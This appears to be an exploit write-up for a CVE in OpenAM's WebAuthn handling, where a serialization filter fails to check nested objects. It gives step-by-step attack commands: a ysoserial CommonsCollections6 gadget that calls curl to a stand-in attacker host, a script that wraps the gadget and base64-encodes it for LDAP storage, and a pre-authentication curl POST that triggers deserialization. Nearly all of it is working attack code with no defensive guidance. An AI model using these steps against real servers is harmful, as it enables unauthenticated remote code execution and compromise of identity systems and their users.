CVE-2026-62263: OpenAM WebAuthn ObjectInputFilter depth>1 Deserialization RCE

# Step 1: generate a gadget-chain payload rooted at AuthenticatorImpl.
# The outer wrapper is a real AuthenticatorImpl; the gadget chain sits
# in a nested field (depth > 1) where the filter always returns ALLOWED.
#
# Use ysoserial (or equivalent) to produce the inner gadget bytes,
# then wrap them in a minimal AuthenticatorImpl stream.
# Example using the CommonsCollections6 chain for a command execution:

java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.example/x' > gadget.bin

# Wrap gadget.bin inside an AuthenticatorImpl serialized stream
# (replace the nested byte[] / transient field with the raw gadget bytes)
# and base64-encode the result for LDAP storage:
python3 wrap_authenticator.py gadget.bin | base64 > payload.b64

# Step 2: write payload.b64 into the target user's WebAuthn storage
# attribute (e.g. sunIdentityServerPPInformalName or the configured
# WebAuthn store attribute) via any writable LDAP path.

# Step 3: trigger deserialization by initiating WebAuthn login for
# that userHandle (pre-authentication, no valid assertion needed):
curl -s -X POST 'https://openam.target.example/openam/json/realms/root/authenticate' \
  -H 'Content-Type: application/json' \
  -H 'X-OpenAM-Username: victim' \
  -H 'X-OpenAM-Password: ' \
  -d '{"authId":"","callbacks":[{"type":"HiddenValueCallback","output":[{"name":"value","value":"webauthn-auth"}]}]}'
# readObject() fires on the stored bytes before any assertion check;
# the gadget executes inside the nested graph at depth > 1.